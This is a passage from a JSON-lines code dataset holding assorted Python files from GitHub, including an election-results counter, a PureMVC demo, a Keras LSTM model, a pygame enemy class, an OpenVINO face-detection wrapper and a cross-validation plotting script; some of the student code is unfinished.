name\n candidate_name = row[2]\n #get county_name\n county_name = row[1]\n\n #If candidate does not match any existing name add it to list\n if candidate_name not in candidate_options:\n candidate_options.append(candidate_name)\n\n candidate_votes[candidate_name] = 0\n\n #Add a vote to candidate count\n candidate_votes[candidate_name] +=1\n\n #challenge county\n if county_name not in county_names:\n\n #challenge add to list in the runnning\n county_names.append(county_name)\n\n #tracking candidate voter count\n county_votes[county_name] = 0\n\n county_votes[county_name] +=1\n#Save result to txt\nwith open (file_to_save, \"w\") as txt_file:\n election_results = (\n f\"\\nElection Results\\n\"\n f\"\\n=================\\n\"\n f\"Total Votes: {total_votes:,}\"\n f\"\\n=================\\n\\n\"\n f\"County Votes:\\n\"\n )\n print(election_results, end=\"\")\n txt_file.write(election_results)\n\n #challenge\n for county in county_votes:\n #get the votes\n county_vote = county_votes[county]\n county_percent = int(county_vote) / int(total_votes) * 100\n county_results = (\n f\"{county}: {county_percent:.1f}% ({county_vote:,})\\n\"\n )\n print(county_results, end=\"\")\n txt_file.write(county_results)\n\n\n #determine winner\n if(county_vote > largest_county_votes):\n largest_county_votes = county_vote\n largest_county_turnout = county\n largest_county_turnout = (\n f\"\\n============================\\n\"\n f\"Largest County Turnout: {largest_county_turnout}\\n\"\n f\"\\n=======================\\n\"\n )\n print(largest_county_turnout)\n txt_file.write(largest_county_turnout)\n\n for candidate in candidate_votes:\n votes = candidate_votes[candidate]\n vote_percentage = int(votes) / int(total_votes) * 100\n candidate_results = (\n f\"{candidate}: {vote_percentage:.1f}% ({votes:,})\\n\"\n )\n\n print(candidate_results)\n txt_file.write(candidate_results)\n\n #determine winner\n if(votes > winning_count) and (vote_percentage > winning_percentage):\n winning_count = votes\n winning_candidate = candidate\n winning_percentage = vote_percentage\n\n winning_candidate_summary = (\n f\"=============================\\n\"\n f\"winner: {winning_candidate}\\n\"\n f\"Winning Vote Count: {winning_count:,} DANG THAT'S A LOTTA VOTES\\n\"\n f\"winning Percentage: {winning_percentage:.1f}%\\n\"\n f\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\\n\"\n )\n print(winning_candidate_summary)\n\n #SAVE\n txt_file.write(winning_candidate_summary)\n\n","repo_name":"ltcastillo/Election-Analysis","sub_path":"PyPoll_Challenge.py","file_name":"PyPoll_Challenge.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14345586332","text":"\"\"\"\r\nPureMVC Python Demo - wxPython Employee Admin \r\nBy Toby de Havilland \r\nCopyright(c) 2007-08 Toby de Havilland, Some rights reserved.\r\n\"\"\"\r\n\r\nimport puremvc.patterns.command\r\nimport puremvc.interfaces\r\nimport model, view, main\r\n\r\nclass StartupCommand(puremvc.patterns.command.SimpleCommand, puremvc.interfaces.ICommand):\r\n\tdef execute(self,note):\r\n\t\tself.facade.registerProxy(model.UserProxy())\r\n\t\tself.facade.registerProxy(model.RoleProxy())\r\n \r\n\t\tmainPanel = note.getBody()\r\n\t\tself.facade.registerMediator(view.DialogMediator(mainPanel))\r\n\t\tself.facade.registerMediator(view.UserFormMediator(mainPanel.userForm))\r\n\t\tself.facade.registerMediator(view.UserListMediator(mainPanel.userList))\r\n\t\tself.facade.registerMediator(view.RolePanelMediator(mainPanel.rolePanel))\r\n\r\nclass AddRoleResultCommand(puremvc.patterns.command.SimpleCommand, puremvc.interfaces.ICommand):\r\n\tdef execute(self,note):\r\n\t\tresult = note.getBody()\r\n\t\tif not result:\r\n\t\t\tself.facade.sendNotification(main.AppFacade.SHOW_DIALOG, \"Role already exists for this user.\")\r\n\r\nclass DeleteUserCommand(puremvc.patterns.command.SimpleCommand, puremvc.interfaces.ICommand):\r\n\tdef execute(self,note):\r\n user = note.getBody()\r\n userProxy = self.facade.retrieveProxy(model.UserProxy.NAME)\r\n roleProxy = self.facade.retrieveProxy(model.RoleProxy.NAME)\r\n userProxy.deleteItem(user) \r\n roleProxy.deleteItem(user)\r\n self.facade.sendNotification(main.AppFacade.USER_DELETED)","repo_name":"PureMVC/puremvc-python-demo-wxpython-employeeadmin","sub_path":"src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"74971772722","text":"from keras.layers.core import Dense, Activation, Dropout ,Flatten\r\nfrom keras.layers.recurrent import LSTM\r\nfrom keras.models import Sequential\r\nfrom keras import regularizers,optimizers\r\nimport time #helper libraries\r\n\r\n\r\n\r\ndef model(x,act,loss):\r\n print(x.shape[2] * 1.2)\r\n model = Sequential()\r\n print(round(x.shape[2] * 0.005))\r\n model.add(LSTM(\r\n #input_shape=(x.shape[-1],10),\r\n input_dim=x.shape[-1],\r\n #output_dim=round(x.shape[2] * 1.5),\r\n output_dim=round(x.shape[2] * 1.2),\r\n\r\n #output_dim=round(x.shape[2]*3),\r\n return_sequences= True))\r\n\r\n model.add(Dense(x.shape[2]))\r\n #model.add(Dropout(0.01 ))\r\n ###model.add(Dropout(0.3))\r\n\r\n ##### RM\r\n #model.add(Dropout(0.4))\r\n model.add(Activation(act))\r\n\r\n start = time.time()\r\n\r\n\r\n\r\n sgd = optimizers.SGD(lr=0.2, momentum=0.1)\r\n\r\n\r\n\r\n #sgd = optimizers.SGD(lr=0.1, momentum=0.001)\r\n #ad=optimizers.Adam(lr=0.001, beta_1=0.99, beta_2=0.99, epsilon=None, decay=0.0, amsgrad=True)\r\n\r\n model.compile(loss=loss,optimizer=sgd)\r\n\r\n print('compilation time : {}'.format(time.time() - start))\r\n\r\n # model.fit(\r\n # x,\r\n # y,00001\r\n # # batch_size=3028,\r\n # nb_epoch=200,\r\n # validation_split=0.1)\r\n\r\n return model","repo_name":"louzounlab/ad-rnn","sub_path":"the_model.py","file_name":"the_model.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70049051762","text":"n = int(input())\nlis = []\ndef merge(lef, rig):\n result = [0]\n i = 0\n j = 0\n while True:\n if i == len(lef) or j == len(rig):\n break\n if lef[i] < rig[j]:\n result[-1:] = [result[-1], lef[i]]\n i += 1\n else:\n result[-1:] = [result[-1], rig[j]]\n j += 1\n\n while True:\n if i == len(lef):\n break\n result[-1:] = [result[-1], lef[i]]\n i += 1\n while True:\n if j == len(rig):\n break\n result[-1:] = [result[-1], rig[j]]\n j += 1\n\n return result[1:]\n\ndef devided_sort(li, num):\n if len(li) <= 1:\n return li\n mid = len(li) // 2\n\n\n\nfor i in range(n):\n num = int(input())\n\n new_lis = devided_sort(lis, num)\n mid = (i+1) // 2\n if (i+1) % 2:\n print(new_lis[mid])\n else:\n print(new_lis[mid-1])","repo_name":"SINHOLEE/Algorithm","sub_path":"python/beckjun/백준_1655_가운데를_말해요.py","file_name":"백준_1655_가운데를_말해요.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34802974394","text":"import pygame\nfrom settings import *\nfrom enemy_fsm import Fall\n\nclass Guard(pygame.sprite.Sprite):\n\tdef __init__(self, game, scene, groups, pos, name, z):\n\t\tsuper().__init__(groups)\n\n\t\tself.game = game\n\t\tself.scene = scene\n\t\tself.name = name\n\t\tself.z = z\n\t\tself.state = Fall(self)\n\t\tself.animations = {'idle':[], 'run':[], 'land':[], 'jump':[], 'fall':[]}\n\t\tself.import_images(self.animations)\n\t\tself.frame_index = 0\n\t\tself.image = self.animations['fall'][self.frame_index].convert_alpha()\n\t\tself.rect = self.image.get_rect(topleft = pos)\n\t\tself.pos = pygame.math.Vector2(self.rect.center)\n\t\tself.old_pos = self.pos.copy()\n\t\tself.hitbox = self.rect.copy().inflate(-self.rect.width * 0.5,- self.rect.height * 0.5)\n\t\tself.old_hitbox = self.hitbox.copy()\n\n\t\tself.gravity = 0.15\n\t\tself.acc_rate = 0.05\n\t\tself.fric = -0.05\n\t\tself.acc = pygame.math.Vector2(0, self.gravity)\t\n\t\tself.vel = pygame.math.Vector2()\n\t\tself.max_fall_speed = 6\n\t\tself.jump_height = 4\n\t\tself.facing = 1\n\n\t\tself.on_ladder = False\n\t\tself.platform = None\n\t\tself.relative_position = pygame.math.Vector2()\n\t\tself.on_ground = False\n\t\tself.drop_through = False\n\n\t\tself.data = CONSTANT_DATA['enemies'][self.name]\n\n\t\tself.burst_count = self.data['burst_count']\n\t\tself.health = self.data['health']\n\t\tself.gun = self.data['weapon']\n\t\tself.muzzle_pos = None\n\t\tself.vision_box = pygame.Rect(0, 0, 320, 160)\n\n\t\tself.move = {'left':False, 'right':False}\n\t\tself.cooldown = 0\n\n\tdef move_logic(self):\n\t\tif self.move['right']:\n\t\t\tself.move['left'] = False\n\t\t\tself.acc.x = self.acc_rate\n\t\t\tself.facing = 0\n\n\t\telif self.move['left']:\n\n\t\t\tself.move['right'] = False\n\t\t\tself.acc.x = -self.acc_rate\n\t\t\tself.facing = 1\n\n\t\telse:\n\t\t\tself.move['right'] = False\n\t\t\tself.move['left'] = False\n\n\tdef turnaround(self):\n\t\tfor sprite in self.scene.collision_sprites:\n\t\t\tif sprite.hitbox.colliderect(self.hitbox):\n\n\t\t\t\tself.vel.x *= -1\n\n\t\t\t\tif self.move['right']:\n\t\t\t\t\tself.move['right'] = False\n\t\t\t\t\tself.move['left'] = True\n\n\t\t\t\telse:\t\n\t\t\t\t\tself.move['left'] = False\n\t\t\t\t\tself.move['right'] = True\n\n\tdef import_images(self, animation_states):\n\n\t\tpath = f'assets/characters/{self.name}/'\n\n\t\tfor animation in animation_states.keys():\n\t\t\tfull_path = path + animation\n\t\t\tanimation_states[animation] = self.game.get_folder_images(full_path)\n\n\tdef animate(self, state, speed, loop=True):\n\n\t\tself.frame_index += speed\n\n\t\tif self.frame_index >= len(self.animations[state]):\n\t\t\tif loop: \n\t\t\t\tself.frame_index = 0\n\t\t\telse:\n\t\t\t\tself.frame_index = len(self.animations[state]) -1\n\t\t\n\t\tself.image = pygame.transform.flip(self.animations[state][int(self.frame_index)], self.facing, False)\n\t\t\n\tdef jump(self, height):\n\t\tself.vel.y = -height\n\n\tdef collisions_x(self, group):\n\t\tfor sprite in group:\n\t\t\tif self.hitbox.colliderect(sprite.hitbox):\n\t\t\t\tif self.hitbox.right >= sprite.hitbox.left and self.old_hitbox.right <= sprite.old_hitbox.left:\n\t\t\t\t\tself.hitbox.right = sprite.hitbox.left\n\t\t\t\t\tself.vel.x = 0\n\t\t\t\telif self.hitbox.left <= sprite.hitbox.right and self.old_hitbox.left >= sprite.old_hitbox.right:\n\t\t\t\t\tself.hitbox.left = sprite.hitbox.right\n\t\t\t\t\tself.vel.x = 0\n\n\t\t\t\tself.rect.centerx = self.hitbox.centerx\n\t\t\t\tself.pos.x = self.hitbox.centerx\n\n\tdef collisions_y(self, group):\n\t\tfor sprite in group:\n\t\t\tif self.hitbox.colliderect(sprite.hitbox):\n\t\t\t\tif self.hitbox.bottom >= sprite.hitbox.top and self.old_hitbox.bottom <= sprite.old_hitbox.top:\n\t\t\t\t\tself.hitbox.bottom = sprite.hitbox.top\n\t\t\t\t\tself.on_ground = True\n\t\t\t\t\tself.vel.y = 0\n\n\t\t\t\telif self.hitbox.top <= sprite.hitbox.bottom and self.old_hitbox.top >= sprite.old_hitbox.bottom:\n\t\t\t\t\tself.hitbox.top = sprite.hitbox.bottom\n\t\t\t\t\tself.vel.y = 0\n\n\t\t\t\tself.rect.centery = self.hitbox.centery\n\t\t\t\tself.pos.y = self.hitbox.centery\n\n\tdef collide_platforms(self, group, dt):\n\n\t\tfor sprite in group:\n\t\t\tif self.hitbox.colliderect(sprite.raycast_box): \n\t\t\t\tif self.old_hitbox.bottom <= sprite.hitbox.top + 4 and self.hitbox.bottom + 4 >= sprite.hitbox.top:\n\t\t\t\t\tif self.vel.y >= 0 and not self.drop_through:\n\t\t\t\t\t\tself.hitbox.bottom = sprite.rect.top\n\t\t\t\t\t\tself.on_ground = True\n\t\t\t\t\t\tself.vel.y = 0\n\n\t\t\t\t\t\tself.rect.centery = self.hitbox.centery\n\t\t\t\t\t\tself.pos.y = self.hitbox.centery\n\n\t\t\t\t\t\tself.platform = sprite\n\t\t\t\t\t\tself.relative_position = self.pos - self.platform.pos\n\t\t\t\telse:\n\t\t\t\t\tself.drop_through = False\n\n\tdef lerp(self, v0, v1, t):\n\t\treturn v0 + t * (v1 - v0)\n\n\tdef get_equidistant_points(self, point_1, point_2, num_of_points):\n\t\treturn [(self.lerp(point_1[0], point_2[0], 1./num_of_points * i), self.lerp(point_1[1], point_2[1], 1./num_of_points * i)) for i in range(num_of_points + 1)]\n\n\tdef get_distance(self, point_1, point_2):\n\t\tdistance = (pygame.math.Vector2(point_2) - pygame.math.Vector2(point_1))\n\t\treturn distance\n\n\tdef has_los(self):\n\t\tx = self.scene.player.rect.center - self.scene.drawn_sprites.offset\n\t\ty = self.rect.center - self.scene.drawn_sprites.offset - pygame.math.Vector2(0, 5)\n\t\tdistance = int(self.get_distance(y, x).magnitude()//5)\n\t\tif distance != 0 and distance < 100:\n\t\t\tfor point in self.get_equidistant_points(y, x, distance):\n\t\t\t\tfor sprite in self.scene.block_sprites:\n\t\t\t\t\tif sprite.rect.collidepoint(point + self.scene.drawn_sprites.offset):\n\t\t\t\t\t\treturn False\n\t\treturn True\n\n\tdef hit_by_bullet(self):\n\t\tfor sprite in self.scene.bullet_sprites:\n\t\t\tif self.hitbox.colliderect(sprite.hitbox):\n\t\t\t\tself.reduce_health(sprite.damage)\n\t\t\t\tsprite.kill()\n\n\tdef reduce_health(self, amount, ammo_type=None):\n\t\tif self.scene.quad_timer.running:\n\t\t\tself.health -= amount * 4 # quad damage!!!!\n\t\telse:\n\t\t\tself.health -= amount\n\t\tif self.health <= 0:\n\t\t\tself.gun_sprite.kill()\n\t\t\tself.scene.create_particle('chunk', self.rect.center)\n\t\t\tself.kill()\n\t\t\t#pass#self.alive = False\n\n\tdef physics_x(self, dt):\n\t\t\t\n\t\tself.acc.x += self.vel.x * self.fric\n\t\tself.vel.x += self.acc.x * dt\n\n\t\tif self.platform and self.platform.vel.x != 0:\n\t\t\tself.pos.x = round(self.platform.pos.x) +round(self.relative_position.x)\n\n\t\tself.pos.x += self.vel.x * dt + (0.5 * self.acc.x) * dt\n\n\t\tself.hitbox.centerx = round(self.pos.x)\n\t\tself.rect.centerx = self.hitbox.centerx\n\n\t\tself.collisions_x(self.scene.block_sprites)\n\n\t\tself.collide_platforms(self.scene.platform_sprites, dt)\n\n\tdef physics_y(self, dt):\n\n\t\tself.vel.y += self.acc.y * dt\n\t\tself.pos.y += self.vel.y * dt + (0.5 * self.acc.y) * dt\n\n\t\tself.hitbox.centery = round(self.pos.y)\n\t\tself.rect.centery = self.hitbox.centery\n\n\t\tself.collisions_y(self.scene.block_sprites)\n\n\t\tif self.vel.y >= self.max_fall_speed: \n\t\t\tself.vel.y = self.max_fall_speed\n\n\t\tif abs(self.vel.y) >= 0.5: \n\t\t\tself.on_ground = False\n\t\t\tself.platform = None\n\n\tdef cooldown_timer(self, dt):\n\t\tif self.cooldown > 0:\n\t\t\tself.cooldown -= dt\n\n\tdef chain_gun_spin_up(self, dt):\n\t\tif self.gun == 'chain gun':\n\t\t\tif ACTIONS['left_click'] and not self.on_ladder:\n\t\t\t\tCONSTANT_DATA['guns']['chain gun']['cooldown'] -= 0.05 * dt\n\t\t\telse:\n\t\t\t\tCONSTANT_DATA['guns']['chain gun']['cooldown'] += 0.1 * dt\n\n\t\tCONSTANT_DATA['guns']['chain gun']['cooldown'] = max(2, min(CONSTANT_DATA['guns']['chain gun']['cooldown'], 10))\n\n\t\treturn CONSTANT_DATA['guns']['chain gun']['cooldown']\n\n\tdef player_seen(self):\n\t\tif self.vision_box.colliderect(self.scene.player.hitbox) and self.has_los():\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef state_logic(self):\n\t\tnew_state = self.state.state_logic(self)\n\t\tif new_state: self.state = new_state\n\t\telse: self.state\n\n\tdef update(self, dt):\n\n\t\tself.old_pos = self.pos.copy()\n\t\tself.old_hitbox = self.hitbox.copy()\n\t\tself.vision_box.center = self.rect.center\n\n\t\tself.state_logic()\n\t\tself.state.update(self, dt)\n\t\tself.cooldown_timer(dt)\n\t\tself.chain_gun_spin_up(dt)\n\t\tself.hit_by_bullet()\n\t\tself.turnaround()\n\t\t\n\t\t\n\n\n\n\n\n","repo_name":"mowen88/platformer13102023","sub_path":"enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":7657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10217466685","text":"import time\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\nclass myHeightData:\r\n allData = []\r\n dataPiece = 0\r\n\r\n def __init__(self, time, height):\r\n self.time = time\r\n self.height = height\r\n myHeightData.allData.append(self)\r\n myHeightData.dataPiece += 1\r\n\r\n def myPrint():\r\n for data in myHeightData.allData:\r\n print(\"time is:\", data.time, \",height is:\",\r\n data.height)\r\n\r\n def readFromFile(src):\r\n #src = './trial.txt'\r\n try:\r\n f = open(src, \"r+\", encoding=\"utf-8\")\r\n except IOError:\r\n print(\"can't open the file\")\r\n else:\r\n data = f.read().splitlines()\r\n n = int(data[0])\r\n for i in range(0, n):\r\n time = data[2*i+1]\r\n height = int(data[2*i+2])\r\n myHeightData(time, height)\r\n f.close\r\n\r\n def saveToFile(src):\r\n try:\r\n f = open(src, 'w', encoding='utf-8')\r\n except IOError:\r\n print(\"can't open the file\")\r\n else:\r\n f.write(str(myHeightData.dataPiece) + '\\n')\r\n for data in myHeightData.allData:\r\n f.write(str(data.time) + '\\n')\r\n f.write(str(data.height) + '\\n')\r\n f.close\r\n\r\n def drawHeightLineChart():\r\n x_axis_data = list(range(1, myHeightData.dataPiece + 1))\r\n y_axis_data = []\r\n\r\n for data in myHeightData.allData:\r\n y_axis_data.append(data.height)\r\n\r\n for x, y in zip(x_axis_data, y_axis_data):\r\n plt.text(x, y+0.3, '%.00f' % y, ha='center',\r\n va='bottom', fontsize=7.5) # y_axis_data1加标签数据\r\n\r\n plt.plot(x_axis_data, y_axis_data, 'b*--', alpha=0.5,\r\n linewidth=1, label='acc') # 'bo-'表示蓝色实线,数据点实心原点标注\r\n # plot中参数的含义分别是横轴值,纵轴值,线的形状('s'方块,'o'实心圆点,'*'五角星 ...,颜色,透明度,线的宽度和标签 ,\r\n\r\n plt.legend() # 显示上面的label\r\n plt.xlabel('time') # x_label\r\n plt.ylabel('number') # y_label\r\n\r\n # plt.ylim(-1,1)#仅设置y轴坐标范围\r\n plt.show()\r\n\r\n\r\n# myHeightData(time.ctime(time.time()), 2)\r\n","repo_name":"letsgoexplore/Automated-Potting-Machine","sub_path":"myHeightData.py","file_name":"myHeightData.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31928047725","text":"from Bio import SeqIO\nimport sys\n\ndef create_dict_ids_to_ecs_and_ec_count(sequence_iterator):\n\tall_ids_to_ecs = {}\n\tec_count = {}\n\n\tfor record in sequence_iterator:\n\t\tdescription = record.description.split(\";\")\n\t\tqid = description[0].split()[0]\n\t\tec = \"\"\n\t\tfor e in description:\n\t\t\tif \"EC=\" in e:\n\t\t\t\tec = e.split()[0][3:]\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tec = \"no_ec\"\n\n\t\tall_ids_to_ecs[qid] = ec\n\n\t\tif ec in ec_count and ec != \"no_ec\":\n\t\t\tec_count[ec]+= 1\n\t\telif ec != \"no_ec\":\n\t\t\tec_count[ec] = 1\n\n\treturn (all_ids_to_ecs, ec_count)\n\ndef main():\n\tmappings_filename, prior_probs_filename = \"swissProt2EC_ids-30+.mappings\", \"prior_probabilities.out\"\n\n\twith open(mappings_filename, \"w\") as mappings:\n\t\twith open(prior_probs_filename, \"w\") as prior_probs:\n\t\t\tfasta_filename = sys.argv[1]\n\t\t\tfasta_handle = open(fasta_filename, \"rU\")\n\t\t\tfasta_iterator = SeqIO.parse(fasta_handle, \"fasta\")\n\n\t\t\tall_ids_to_ecs, ec_count = create_dict_ids_to_ecs_and_ec_count(fasta_iterator)\n\n\t\t\tto_write_to_file = []\n\n\t\t\tfor sid in all_ids_to_ecs:\n\t\t\t\tif all_ids_to_ecs[sid] != \"no_ec\" and ec_count[all_ids_to_ecs[sid]] >= 30:\n\t\t\t\t\tto_write_to_file.append(\",\".join([sid, all_ids_to_ecs[sid]]))\n\n\t\t\tmappings.writelines(\"%s\\n\" % item for item in to_write_to_file)\n\n\t\t\tto_write_to_file = []\n\n\t\t\tfor ec in ec_count:\n\t\t\t\tif ec_count[ec] >= 30:\n\t\t\t\t\tto_write_to_file.append(\",\".join([ec, str(ec_count[ec]), str(float(ec_count[ec]) / 488134)]))\n\n\t\t\tprior_probs.writelines(\"%s\\n\" % item for item in to_write_to_file)\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"ParkinsonLab/DETECT-v2","sub_path":"Pipeline for creating DETECT db using SciNet/0_create_mappings_and_prior_probabilities_file.py","file_name":"0_create_mappings_and_prior_probabilities_file.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"15802487641","text":"\n\n\ndef alcheimyPossible(s, n):\n aCount = 0\n for char in s:\n if char == 'A':\n aCount += 1\n bCount = n-aCount\n\n return 'Y' if abs(aCount-bCount) == 1 else 'N'\n\n\nfile1=open(\"input.txt\",\"r\")\nfile2=open(\"output.txt\",\"w\")\n\n# Iterate over each line in the file\nlineC = 0\ncaseC = 0\nfor line in file1.readlines():\n line = line.strip('\\n')\n lineC += 1\n if lineC != 1 and lineC %2 == 0 :\n N = int(line)\n elif lineC != 1 and lineC %2 != 0:\n op = alcheimyPossible(line, N)\n file2.write(\"{}{}{} {}\".format(\"Case #\", lineC//2, \":\", str(op)))\n file2.write(\"\\n\")\n\n\n\n\n \n# Release used resources\nfile1.close()\nfile2.close()","repo_name":"AnchalNigam/Code-Time","sub_path":"CP/new_journey/facebokhackercup/alchiemy.py","file_name":"alchiemy.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36112584822","text":"import os\nimport cv2\nfrom openvino.inference_engine import IECore\nfrom util_function import preprocess_input\n\nclass Model_face_detection:\n '''\n Class for the Face Detection Model.\n '''\n def __init__(self, model_name, device='CPU'):\n '''\n Set instance variables.\n '''\n self.device = device\n self.model = model_name\n self.model_structure = model_name\n self.model_weights = os.path.splitext(self.model_structure)[0] + \".bin\"\n \n try:\n self.model = IECore().read_network(self.model_structure, self.model_weights)\n except Exception as e:\n raise ValueError(\"Could not Initialise the network. Have you enterred the correct model path?\")\n\n self.input_name = next(iter(self.model.inputs))\n self.input_shape = self.model.inputs[self.input_name].shape\n self.output_name = next(iter(self.model.outputs))\n self.output_shape = self.model.outputs[self.output_name].shape\n \n def load_model(self):\n '''\n Load the model to the specified device.\n '''\n # Initialize the plugin\n core = IECore()\n \n # Load the network into the plugin\n self.exec_network = core.load_network(network=self.model, device_name=self.device)\n \n # Return the loaded inference plugin\n return self.exec_network\n\n def predict(self, image, threshold, display):\n '''\n Run predictions on the input image.\n ''' \n # Pre-process the image\n p_frame = preprocess_input(image, self.input_shape)\n \n # Start an asynchronous request\n self.exec_network.start_async(request_id=0, inputs={self.input_name: p_frame})\n \n # Wait for the result\n if self.exec_network.requests[0].wait(-1) == 0:\n \n # Get the results of the inference request\n outputs = self.exec_network.requests[0].outputs[self.output_name]\n \n # Get the output images and the face coordinates\n out_image, face, face_coords = self.preprocess_output(image, outputs, threshold, display)\n \n return out_image, face, face_coords\n\n def preprocess_output(self, image, outputs, threshold, display):\n '''\n Preprocess the output before feeding it to the next model.\n '''\n # Grab the shape of the image\n width, height = image.shape[1], image.shape[0]\n \n face_coords = []\n face = image\n for box in outputs[0][0]:\n conf = box[2]\n \n # Check if confidence is bigger than the threshold\n if conf >= threshold:\n \n xmin = int(box[3] * width)\n ymin = int(box[4] * height)\n xmax = int(box[5] * width)\n ymax = int(box[6] * height)\n \n face_coords.append(xmin)\n face_coords.append(ymin)\n face_coords.append(xmax)\n face_coords.append(ymax)\n \n face = image[ymin:ymax, xmin:xmax]\n \n if(display):\n # Draw box\n cv2.rectangle(image, (xmin, ymin), (xmax, ymax), (0, 255, 0), 3) \n \n return image, face, face_coords","repo_name":"dfdavila2/Edge-AI-IoT-Nanodegree-Computer-Pointer-Controller-Project","sub_path":"Computer Pointer Controller by DD/src/face_detection.py","file_name":"face_detection.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12913890404","text":"\"\"\"empty message\n\nRevision ID: a6ce8568edc3\nRevises: 0ed2f485a3fe\nCreate Date: 2016-08-14 14:26:21.016738\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'a6ce8568edc3'\ndown_revision = '0ed2f485a3fe'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user_roles', sa.Column('role_name', sa.String(length=64), nullable=True))\n op.drop_column('user_roles', 'role_id')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user_roles', sa.Column('role_id', sa.VARCHAR(length=64), autoincrement=False, nullable=True))\n op.drop_column('user_roles', 'role_name')\n ### end Alembic commands ###\n","repo_name":"rohitdatta/pepper","sub_path":"migrations/versions/a6ce8568edc3_.py","file_name":"a6ce8568edc3_.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"75"} +{"seq_id":"34278303491","text":"import argparse\n\nimport numpy as np\nfrom sklearn.model_selection import KFold\nfrom matplotlib import pyplot as plt\nfrom matplotlib import gridspec, colors\n\nEMPTY_COLOR = \"#ffffff\"\nTRAIN_CMAP = colors.ListedColormap(\n [EMPTY_COLOR, colors.TABLEAU_COLORS[\"tab:blue\"]]\n)\nTEST_CMAP = colors.ListedColormap(\n [EMPTY_COLOR, colors.TABLEAU_COLORS[\"tab:orange\"]]\n)\n\n\ndef show_nested_cv(outer_k, inner_k):\n n_splits = outer_k * (2 + inner_k * 2)\n fig = plt.figure(figsize=(12, n_splits / 3))\n outer_splits = KFold(outer_k).split(np.arange(100))\n grid = fig.add_gridspec(outer_k, 1, hspace=0.1, wspace=0)\n for i, (train, test) in enumerate(outer_splits):\n show_outer_fold(i, inner_k, grid, fig, outer_train_idx=train)\n return fig\n\n\ndef add_box(subplotspec, fig, text=\"\"):\n ax = fig.add_subplot(subplotspec)\n if text != \"\":\n ax.text(\n 0.5, 0.5, text, ha=\"center\", va=\"center\", transform=ax.transAxes\n )\n ax.set_xticks([])\n ax.set_yticks([])\n return ax\n\n\ndef show_outer_fold(fold_idx, inner_k, outer_grid, fig, outer_train_idx):\n fold_grid = gridspec.GridSpecFromSubplotSpec(\n 2,\n 7,\n outer_grid[fold_idx, :],\n wspace=0,\n hspace=0,\n height_ratios=[2 * inner_k + 1, 1],\n )\n add_box(fold_grid[:, 0], fig, f\"Fold {fold_idx}\")\n add_box(fold_grid[0, 1], fig, \"Train\")\n add_box(fold_grid[1, 1:-2], fig, \"Test\")\n test_ax = add_box(fold_grid[-1, -2], fig)\n train_mask = np.zeros((1, 100), dtype=int)\n train_mask[:, outer_train_idx] = 1\n test_ax.imshow(~train_mask, aspect=\"auto\", cmap=TEST_CMAP)\n score_ax = fig.add_subplot(fold_grid[-1, -1])\n score_ax.text(\n 0.1,\n 0.5,\n f\"Score {fold_idx}\",\n ha=\"left\",\n va=\"center\",\n transform=score_ax.transAxes,\n )\n score_ax.axis(\"off\")\n show_inner_cv(\n fold_idx,\n fold_grid,\n fig,\n inner_k=inner_k,\n outer_train_idx=outer_train_idx,\n )\n\n\ndef show_inner_cv(fold_idx, fold_grid, fig, inner_k, outer_train_idx):\n nested_cv_grid = gridspec.GridSpecFromSubplotSpec(\n (inner_k * 2) + 1, 4, fold_grid[:-1, 2:-1], wspace=0, hspace=0\n )\n for i in range(inner_k):\n add_box(nested_cv_grid[2 * i : 2 * i + 2, 0], fig, f\"Fold {i}\")\n add_box(nested_cv_grid[2 * i, 1], fig, \"Train\")\n add_box(nested_cv_grid[2 * i + 1, 1], fig, \"Test\")\n add_box(nested_cv_grid[2 * i, 2], fig, \"For all ɑ\")\n add_box(nested_cv_grid[2 * i + 1, 2], fig, \"For all ɑ\")\n add_box(nested_cv_grid[-1, :2], fig, \"Refit\")\n add_box(nested_cv_grid[-1, 2], fig, \"For best ɑ\")\n show_inner_splits(inner_k, nested_cv_grid, fig, outer_train_idx)\n\n\ndef show_inner_splits(inner_k, nested_cv_grid, fig, outer_train_idx):\n mask = np.zeros((1, 100), dtype=int)\n inner_splits = KFold(inner_k).split(outer_train_idx)\n for i, (train, test) in enumerate(inner_splits):\n mask[:] = 0\n mask[:, outer_train_idx[train]] = 1\n train_ax = add_box(nested_cv_grid[2 * i, -1], fig)\n train_ax.imshow(mask, aspect=\"auto\", cmap=TRAIN_CMAP)\n mask[:] = 0\n mask[:, outer_train_idx[test]] = 1\n test_ax = add_box(nested_cv_grid[2 * i + 1, -1], fig)\n test_ax.imshow(mask, aspect=\"auto\", cmap=TEST_CMAP)\n refit_ax = 